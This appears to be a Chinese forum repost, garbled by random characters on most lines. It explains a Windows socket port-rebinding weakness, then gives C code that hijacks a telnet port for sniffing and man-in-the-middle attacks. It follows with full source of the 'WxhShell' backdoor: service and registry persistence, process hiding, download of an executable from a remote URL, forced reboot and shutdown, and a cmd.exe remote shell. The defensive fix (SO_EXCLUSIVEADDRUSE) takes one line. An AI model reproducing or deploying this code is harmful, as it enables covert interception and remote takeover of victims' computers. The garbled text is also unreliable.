在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-y{o@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3u7N/OQ( edqek jh saddr.sin_family = AF_INET;
8kw`=wSH> KDW%*%! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tm~V+t!mj DD\:glo bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I_J;/!l= ]l>)Di#*o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mu2r#I oQ= Q} 这意味着什么?意味着可以进行如下的攻击:
KAm v7 1e*+k$-{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*M5=PQfb Y&aFAjj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f0fN1 'H2TwSbIXI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
iIq='xwa9 mHo}, | 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^ad
p<?q4 g]R }w@nJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F_=RY] b w!;ZRK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[rv"tz= _*1/4^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
w{Wz^=';
/E/J< #include
etj8M
y6= #include
;BqYhi #include
"jzU` #include
!CROc} DWORD WINAPI ClientThread(LPVOID lpParam);
7=t4;8|j; int main()
aEVBU {
|jV> WORD wVersionRequested;
ywpk\ DWORD ret;
BEyg63= WSADATA wsaData;
L5E.`^? BOOL val;
u-3A6Q SOCKADDR_IN saddr;
}s=D,_}m SOCKADDR_IN scaddr;
Jz
s.) int err;
Q0'xn SOCKET s;
'<~l%q SOCKET sc;
j^T.7Zv int caddsize;
m
UpLD+-j HANDLE mt;
4mJ4) DWORD tid;
9hEIf,\ wVersionRequested = MAKEWORD( 2, 2 );
+~\1Zgw err = WSAStartup( wVersionRequested, &wsaData );
Ln0rm9FV- if ( err != 0 ) {
Y~vI@$<~( printf("error!WSAStartup failed!\n");
8[U1{s:J return -1;
3>%rm%ffE }
d0~F|j\# saddr.sin_family = AF_INET;
`3^*K/K\ u?Jw) ` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n1`D:XrE W~E%Eq3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VS<E?JnbFV saddr.sin_port = htons(23);
[s$vY~_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q'77BRD3 {
O^48c$Apv printf("error!socket failed!\n");
x):cirwkl return -1;
";yCo0* }
Io *`hA] val = TRUE;
4bqi&h3 //SO_REUSEADDR选项就是可以实现端口重绑定的
Juj"cjob if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-l<b|`s=w. {
a:Jsi= printf("error!setsockopt failed!\n");
oCdWf63D return -1;
b;# 3X) }
wl #Bv,xf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%mPIr4$Pg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2`I"
QU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&U ]L@]x s~$ZTzV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DcA{E8Y {
f4)fa yAVp ret=GetLastError();
MW8GM }Ho[ printf("error!bind failed!\n");
xGTVC=q return -1;
wgxr8;8`q }
"2q}G16K listen(s,2);
fy" q while(1)
6/Y3#d {
`z%f@/:fG caddsize = sizeof(scaddr);
4Tgy2[D?q //接受连接请求
2{Nv&ZX? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z^+f3-Z if(sc!=INVALID_SOCKET)
j'FSd*5m {
;rYL\`6L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1=gE,k5H if(mt==NULL)
<7R\# {
A >< printf("Thread Creat Failed!\n");
3maiBAOKz break;
P2pdXNV }
i1$ $86 }
G=Hvh=K( CloseHandle(mt);
OAO|HH }
FIhq>L.q4 closesocket(s);
t?f2*N: WSACleanup();
SYd4 3PA return 0;
"s[wLclfG }
8)HUo?/3 DWORD WINAPI ClientThread(LPVOID lpParam)
Bee`Pp2 {
gKoB)n<[ SOCKET ss = (SOCKET)lpParam;
HZC^Q7]hy SOCKET sc;
[E<NEl* unsigned char buf[4096];
=V~pQbZ SOCKADDR_IN saddr;
6U5L>sQ long num;
RhR{EO DWORD val;
PNY"Lqj DWORD ret;
5'wWj}0!% //如果是隐藏端口应用的话,可以在此处加一些判断
Uo?g@D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=]jc{Y%o saddr.sin_family = AF_INET;
VWf&F`^B( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ewHk
(ru saddr.sin_port = htons(23);
%^tKt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wb~BY {
b>SG5EqU@ printf("error!socket failed!\n");
TtTp,If return -1;
=REMSej }
4FUY1p val = 100;
}-Q FMPXhG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I^S
gWC {
0'q&7
MV ret = GetLastError();
E{x<P0 ; return -1;
vYb.Ub+ }
KBJ%$OQV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ScOiOz:Ha {
v,bCj6 ret = GetLastError();
6Hoc F/Ye return -1;
Gy 0 m }
bQd'objpY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ug(;\*yg {
A)6xEeyR printf("error!socket connect failed!\n");
Aiyx!Q6vT closesocket(sc);
$Y'}wB{pc closesocket(ss);
F6XrJ?JM return -1;
7[=*#7}. }
e$kBpG"D while(1)
c"HB7 {
'w//d
$+G_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ou8V7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ai>=n; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iQs^2z#Bd num = recv(ss,buf,4096,0);
&w15GO;4 if(num>0)
I)7STzlMj. send(sc,buf,num,0);
b>g&Pf#N! else if(num==0)
xE>H:YPm break;
Y$JGpeq8w num = recv(sc,buf,4096,0);
4z6i{n-k if(num>0)
_v=S4A#tF send(ss,buf,num,0);
k*XI/k5Vc else if(num==0)
b,C2(?hg break;
O_=2{k~s0 }
K9-;-{qb closesocket(ss);
AzFd#P closesocket(sc);
8(d Hn return 0 ;
0QJ
: }
DpD19)ouy rdj_3Utv S7oPdzcU- ==========================================================
}-` N^ >}~\*Y\8@ 下边附上一个代码,,WXhSHELL
]'IZ bx: HrOq>CSR ==========================================================
o,qq*}= BQW hTS7 #include "stdafx.h"
{L6@d1u T'i^yd}*v #include <stdio.h>
vbA<=V*P #include <string.h>
VrQgn9L #include <windows.h>
6chcpP0 #include <winsock2.h>
f%,Vplb #include <winsvc.h>
/H (55^EMZ #include <urlmon.h>
DsJ ikg(J O$eNG$7 #pragma comment (lib, "Ws2_32.lib")
3#\++h]QZ #pragma comment (lib, "urlmon.lib")
8Cx6Me>,= 0Y>5& #define MAX_USER 100 // 最大客户端连接数
4 H<. #define BUF_SOCK 200 // sock buffer
w]@H]>sHd #define KEY_BUFF 255 // 输入 buffer
yN@3uYBF W(4Mvd #define REBOOT 0 // 重启
9-/u _$ #define SHUTDOWN 1 // 关机
}yzCq+ 9ZJn 8ki #define DEF_PORT 5000 // 监听端口
iY,FfuE UWXl
c #define REG_LEN 16 // 注册表键长度
AT6o~u!WU #define SVC_LEN 80 // NT服务名长度
)k^y<lC2a `{KdmWhW // 从dll定义API
!{1;wC(b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}AW"2<@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tFEY8ut{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L*6R5i> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WqO4_;X6/ m{gw:69h // wxhshell配置信息
wPE\?en struct WSCFG {
\; voBU int ws_port; // 监听端口
.vnQZ*6 char ws_passstr[REG_LEN]; // 口令
\<aR^Sj. int ws_autoins; // 安装标记, 1=yes 0=no
`VrQ?s char ws_regname[REG_LEN]; // 注册表键名
O7"16~a char ws_svcname[REG_LEN]; // 服务名
56?RFnZ&j char ws_svcdisp[SVC_LEN]; // 服务显示名
%f?Z/Wn char ws_svcdesc[SVC_LEN]; // 服务描述信息
Yi?v|H<a char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ZX8AB int ws_downexe; // 下载执行标记, 1=yes 0=no
"Cz0r"N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Jn&^5,J]F8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n\i~H pi|=3W };
^`S.Mw. f6,?Yex8B // default Wxhshell configuration
}`pxs struct WSCFG wscfg={DEF_PORT,
oh0*b h "xuhuanlingzhe",
-Hh.8(!XoO 1,
gy`WBg(7x "Wxhshell",
|yinV fZ0C "Wxhshell",
j.ZXLe~ "WxhShell Service",
\
z3>kvk "Wrsky Windows CmdShell Service",
^~1Z"kAnT "Please Input Your Password: ",
^)E#
c 1,
HfPu~P "
http://www.wrsky.com/wxhshell.exe",
zCdcwTe "Wxhshell.exe"
4aiI&, };
KG=57=[ Y 8n*o3jM // 消息定义模块
ffQm"s:P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*{("T char *msg_ws_prompt="\n\r? for help\n\r#>";
`aDVN_h{6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
BR-4L2[ char *msg_ws_ext="\n\rExit.";
:Vy*MPS5 char *msg_ws_end="\n\rQuit.";
/E-sg,
k char *msg_ws_boot="\n\rReboot...";
hb<cynY char *msg_ws_poff="\n\rShutdown...";
+a"f)4\ char *msg_ws_down="\n\rSave to ";
gW-mXb U1W8f|u char *msg_ws_err="\n\rErr!";
9S|a!9J char *msg_ws_ok="\n\rOK!";
W1&"dT@ fXe$Ug|5a char ExeFile[MAX_PATH];
+1]A$|qyW int nUser = 0;
4"pU\g HANDLE handles[MAX_USER];
C~IE_E&Q` int OsIsNt;
l<;~sag q+BG SERVICE_STATUS serviceStatus;
N F,<^ u SERVICE_STATUS_HANDLE hServiceStatusHandle;
j[A:So uD?Rs` // 函数声明
%NDr5E^cc int Install(void);
SZUo RWx int Uninstall(void);
)b1X6w[ int DownloadFile(char *sURL, SOCKET wsh);
4t-l@zFWb int Boot(int flag);
[$c"}=g[+ void HideProc(void);
HQNpf1=D int GetOsVer(void);
]=p^32 int Wxhshell(SOCKET wsl);
(^"2"[?a void TalkWithClient(void *cs);
"A> _U<Y int CmdShell(SOCKET sock);
B3<sSe8L0 int StartFromService(void);
m8V}E&6 int StartWxhshell(LPSTR lpCmdLine);
k=cDPu - z+{xW7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
IL1iTRH VOID WINAPI NTServiceHandler( DWORD fdwControl );
"|Kag|(qB 9o4h~Imu // 数据结构和表定义
((&5F!+\- SERVICE_TABLE_ENTRY DispatchTable[] =
ExM VGe {
I1#MS4;$^ {wscfg.ws_svcname, NTServiceMain},
K)
Ums-b {NULL, NULL}
Sx8C<S5r< };
]57yorc` "jLC!h^N // 自我安装
GKKDO+A=! int Install(void)
~9"c64 q {
|+KwyHE`9 char svExeFile[MAX_PATH];
=kf"%vFV HKEY key;
h?H|)a<^9 strcpy(svExeFile,ExeFile);
CYlS8j uQ&> Wk // 如果是win9x系统,修改注册表设为自启动
S{3c}>n if(!OsIsNt) {
z4~p(tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(L1F],Au RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>_\[C?8 RegCloseKey(key);
`H 'wz7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MMUlA$*t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l|{[vZpT RegCloseKey(key);
B[q"oI` return 0;
@qYT/V*/ }
a6Joa&`dv }
)\j
dF-s }
!!ma]pB, else {
S;y4Z:! E [6:}z< // 如果是NT以上系统,安装为系统服务
6^!fuIZ;_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
C,A/29R,s if (schSCManager!=0)
4UUbX {
#a2gRg SC_HANDLE schService = CreateService
( $>m]| (
->X>h_k.Y schSCManager,
\*Yr&Lm wscfg.ws_svcname,
N!MDD?0 wscfg.ws_svcdisp,
1/~=61msc SERVICE_ALL_ACCESS,
L`e19I$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:5.F SERVICE_AUTO_START,
V#5$J Xp SERVICE_ERROR_NORMAL,
$:\`E56\ svExeFile,
=R~zD4{" NULL,
+ ~5P7dh6 NULL,
~
rQ,%dH NULL,
0~K&P#iR NULL,
2P)O
0j\/ NULL
,p OGT71 );
~**x_ v if (schService!=0)
C\aHr! {
Wy*+8~@A CloseServiceHandle(schService);
W&:0J CloseServiceHandle(schSCManager);
=<#G~8WYz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lSW'qgh strcat(svExeFile,wscfg.ws_svcname);
7Xu# |k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q*|Alrm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RRB=JP{r RegCloseKey(key);
%Zbm%YaW5 return 0;
1Y J?Y }
l_yF;5|?z }
)5LT!14 CloseServiceHandle(schSCManager);
11YJW-V }
CoNaGb }
*i^$xjOa e,VF;Br return 1;
<n 06(9BF }
Um6}h@> E:ci/09wD // 自我卸载
bT&{8a int Uninstall(void)
kHylg{i{" {
/\b*
oPWJ HKEY key;
+(92}~RK Z#-N$%^F if(!OsIsNt) {
+:-xV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DAP/ RegDeleteValue(key,wscfg.ws_regname);
bTmhz RegCloseKey(key);
{yWL|:#K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v-d"dC` RegDeleteValue(key,wscfg.ws_regname);
]6[+tpx RegCloseKey(key);
gqy>;A:kO return 0;
H"8B4~*7H }
3&7? eO7* }
e4SS'0| }
Z>bNU else {
69)"T{7 ufIvvZ* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ih|4ISI if (schSCManager!=0)
r8:"\%"f> {
8IRKCuV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T?m@`"L, if (schService!=0)
4Ii5V
c {
].kj-,5>f if(DeleteService(schService)!=0) {
^AaE$G&: CloseServiceHandle(schService);
FEu"b@v CloseServiceHandle(schSCManager);
.,xyE--;d return 0;
XZARy:+bc }
UWC4PWL,>C CloseServiceHandle(schService);
x>Q% hl }
= NZgbl CloseServiceHandle(schSCManager);
'LPyh ;!f }
m\XsU?SuX }
u1 M8nb cYK:Y!|`F return 1;
F&R*njJcc }
M-i3_H) 9X 4[Zk // 从指定url下载文件
@ewaj! int DownloadFile(char *sURL, SOCKET wsh)
yP+<kv4 {
d;Y Kw1 HRESULT hr;
XdCP!iq*8 char seps[]= "/";
E#:!&{O char *token;
= EFh*sp char *file;
_MTZuhY char myURL[MAX_PATH];
>P~*@>e char myFILE[MAX_PATH];
*{#C;" !' ^l}K> strcpy(myURL,sURL);
4jebx
jZ token=strtok(myURL,seps);
ial{A6X while(token!=NULL)
4x[_lsj {
rIcgf1v70 file=token;
VqW5VLa token=strtok(NULL,seps);
">.k 6Q }
:Q=y'< SgewAng?@o GetCurrentDirectory(MAX_PATH,myFILE);
o}:x-Y strcat(myFILE, "\\");
fm-m?= strcat(myFILE, file);
IxCesh send(wsh,myFILE,strlen(myFILE),0);
d-1D:Hs? send(wsh,"...",3,0);
Z3{1`"\<K
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8bdO-LJ9 if(hr==S_OK)
R&.&x'< return 0;
0}NDi|o else
hxMRmH[f: return 1;
.cJoNl'q 2H.g!( Oza }
/}~=)QHH 4E 5;wH // 系统电源模块
M{G}-QK_. int Boot(int flag)
;X<Ez5v3 {
JH]S'5X8K HANDLE hToken;
$3 -QM TOKEN_PRIVILEGES tkp;
Any y ca7Y+9<
; if(OsIsNt) {
EQ~<NzRp= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GD.Ss9_h1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}Mt)57rU tkp.PrivilegeCount = 1;
0)d='3S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%Hd[,duwO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ez|NQ:o if(flag==REBOOT) {
3JQ7Cc> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zw15r" R return 0;
\DujF>: }
vO2WZ7E! else {
H%Gz" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Qf^c}!I return 0;
;&6
{c }
yZNG>1N }
BZQ}c<Nl else {
^PNDxtd|v if(flag==REBOOT) {
k5aB|xo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2YZ>nqy return 0;
|D-[M_T5 }
RR[zvH} E else {
q-;Y }q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]m1p<*0I$ return 0;
SgxrU&:: }
i%.NP;Qq]M }
_"@:+f, Up?RN %gq return 1;
$?W2'Xm!V }
nX3?7"v ;G8H'gM07 // win9x进程隐藏模块
.o`Io[io void HideProc(void)
o+=wQ$"tP {
2mzn{S)nV P05`DX}r, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-V{"Lzrfug if ( hKernel != NULL )
7d%x 7!E {
3,q?WH%_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
``jNj1t{} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1!(lpp FreeLibrary(hKernel);
Cs>` f,o }
Sk7R;A -)(=~|,Pq/ return;
~|S0E:*. }
~)_Nh lj}3TbM // 获取操作系统版本
b/a\{ int GetOsVer(void)
/lUfxc4 {
F|>
3gW OSVERSIONINFO winfo;
G!$~'o%/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3ArHaAv{y GetVersionEx(&winfo);
_N|%i J5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,==_u return 1;
v}u]tl$, else
=>5Lp return 0;
BM?!? }
d*{Cv2A. <!RkkU&
6 // 客户端句柄模块
34!.5^T int Wxhshell(SOCKET wsl)
KX9IC5pR {
yC 1OeO8{ SOCKET wsh;
{p1`[R&n# struct sockaddr_in client;
%dPk,Ylz DWORD myID;
&J2UAmB %Ve@DF8G while(nUser<MAX_USER)
|#o' =whTl {
WeRDaG int nSize=sizeof(client);
:a/rwZ[r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gNP1UH4m if(wsh==INVALID_SOCKET) return 1;
K'
`qR YSGE@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9R8q+2
if(handles[nUser]==0)
,zx{ RDI closesocket(wsh);
2fr%_GNu else
]'Eg2(wy nUser++;
SeXgBbGAne }
G3TS?u8Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%OgK{h J8S$YRZ_ return 0;
9*s8%pL }
<jJ'T?,
3>VL>;75[ // 关闭 socket
m
uO. void CloseIt(SOCKET wsh)
uQdH(): {
5PeYQ-B| closesocket(wsh);
DlCN nUser--;
Hb*Z_s ExitThread(0);
I= :yfW }
gBV4IQ H.l0kBeG // 客户端请求句柄
d)uuA;n void TalkWithClient(void *cs)
xL_QTj {
>4wigc 9U<WR*H SOCKET wsh=(SOCKET)cs;
YG0/e#5 char pwd[SVC_LEN];
Bv~^keuj3t char cmd[KEY_BUFF];
!b!An; ', char chr[1];
DDmC3
int i,j;
geK;r0(f
'v Vt^h2 while (nUser < MAX_USER) {
p9i7<X2& <$?#P#A if(wscfg.ws_passstr) {
^jL)<y4` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4`l$0m@> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Zex~ $r //ZeroMemory(pwd,KEY_BUFF);
LkYcFD i=0;
?yAb=zI1b while(i<SVC_LEN) {
X_X7fRC0 oO[eer_S- // 设置超时
8t=H fd_set FdRead;
JQbaD- struct timeval TimeOut;
hb8oq3*x FD_ZERO(&FdRead);
U*K4qJ6U FD_SET(wsh,&FdRead);
qdk!.A{ TimeOut.tv_sec=8;
$9\8?gS TimeOut.tv_usec=0;
2UYtEJ(?`{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+/$&P3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]v:,<=S rV"3oM]Lo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<k1muSe pwd
=chr[0]; .sit5BX
if(chr[0]==0xd || chr[0]==0xa) { *j(fk[,i
pwd=0; 8?L-3/
break; IW nG@!
} ]GRVU
i++; ~-sgk"$
} $U ._4
A1B[5a*o!
// 如果是非法用户,关闭 socket =4x6v<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D`41\#ti
} cyd_xB5K
=1>G*
,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u7J:ipyiq2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #('R`~
!|VtI$I>x
while(1) { FDiDHOR
s0_HMP x
ZeroMemory(cmd,KEY_BUFF); kQ\l7xd
'9vsv\A&
// 自动支持客户端 telnet标准 %eHr^j~w$
j=0; 7nPm{=BG
while(j<KEY_BUFF) { Rk{2ZUeg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AWmJm)
cmd[j]=chr[0]; NQvT4.*
if(chr[0]==0xa || chr[0]==0xd) { st CFLYox
cmd[j]=0; D
<Fl7QAb
break; #+3I$ k
} jRdW=/q+(
j++; [
**F
} 3dI(gm6
3j$,x(ua9
// 下载文件 e}"k8 ./
if(strstr(cmd,"http://")) { uFi[50
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x\(yjNZH
if(DownloadFile(cmd,wsh)) M$LzV}k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`(it%Ho!
else Vg"Ze[dA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k Nw3Qr
} [k6,!e[/uG
else { |.U-
yyz
t+SLU6j,
switch(cmd[0]) { V -9z{
2HvzMo-4
// 帮助 [$GQ]Y
case '?': { |a[ :L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _:;j)J0
break; D61e
} m-!z(vcn
// 安装 \A3yM{G~+
case 'i': { 8uhB&qxB
if(Install()) !HHbd|B_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{6[6T
else SjOIln
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nnO@$T
break; g|l|)T.s
} +^.Q%b0Xx
// 卸载 /T2f~1R
case 'r': { x?Oc<CQ-2
if(Uninstall()) 4&LoE~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@>^ c:-f
else Aonq;} V e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Th//u I+
break; }tZA7),L
} >pl*2M&
// 显示 wxhshell 所在路径 oE4hGt5x{
case 'p': { 3/hAxd
char svExeFile[MAX_PATH]; /2!"_?<L
strcpy(svExeFile,"\n\r"); :WnXoL
strcat(svExeFile,ExeFile); >'zp
send(wsh,svExeFile,strlen(svExeFile),0); %4E7 Tu,1
break; x5Ee'G(
} T)B1V,2j=
// 重启 8M'6Kcr
case 'b': { { e%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P X<,/6g z
if(Boot(REBOOT)) Mky8qVQ2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1vVITwl
else { Q,`Y
closesocket(wsh); 6.'+y1yS)
ExitThread(0); |]H2a;vUJR
} jNNl5.
break; t|zLR
} 6Gs,-Kb:
// 关机 Cx/duodp
case 'd': { ^5~[G%G4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 62LQUl]<
if(Boot(SHUTDOWN)) *ha9Vq@X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mhw\i&*U
else { 8Lpy`He
closesocket(wsh); Zb#
ExitThread(0); \:?H_^^d
} G1'w50Yu
break; %rRpUrnm
} VU*{E
// 获取shell SVo`p;2r
case 's': { T't^pO-`
CmdShell(wsh); uL4@e
closesocket(wsh); K` 2a{`
ExitThread(0); ?Xo9,4V1
break; 0,;FiOp
} jr:LLn#}
// 退出 k\}qCDs
case 'x': { .9g\WH#qD|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /qL&)24
CloseIt(wsh); o&~z8/?LA
break; \rf1#Em
} t>v']a +k
// 离开 Ve8`5
case 'q': { [P{Xg:0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4"j5@bppJ
closesocket(wsh); }H,A
T
WSACleanup(); %GS)9{T&
exit(1); UrxgKTry
break; &/, BFx"
} 3)g1e=\i$
} X6<HNLgra
} Aq|LeH
<STjB,_s
// 提示信息 CsR~qQ
5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ab"q%
} oci-[CI,
} 9HEc=,D|
95wV+ q*
return; %r!
} T+4Musu{V
=8dCk\/
// shell模块句柄 R4JO)<'K&
int CmdShell(SOCKET sock) l>&)_:\
{ a4: PufS
STARTUPINFO si; *G~c6BZ
ZeroMemory(&si,sizeof(si)); ]@?3,N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =C\S6bF%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "ej>1{3Y:=
PROCESS_INFORMATION ProcessInfo; h=4{.EegG&
char cmdline[]="cmd"; >uJrq""+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ypd
return 0; {fN_itn
} T)Nis~
BW\R
// 自身启动模式
-I8%
int StartFromService(void) ;LrKXp
{ *,-YWx4
typedef struct Iwn@%?7
{ ?I@3`?'
DWORD ExitStatus; n`:l`n>N$
DWORD PebBaseAddress; Y]gt86
DWORD AffinityMask; iGU N$
DWORD BasePriority; bo -Gh`
ULONG UniqueProcessId; z!L0j+
ULONG InheritedFromUniqueProcessId; #i]@"R
} PROCESS_BASIC_INFORMATION; q2<J`G(tZ
W>Rv
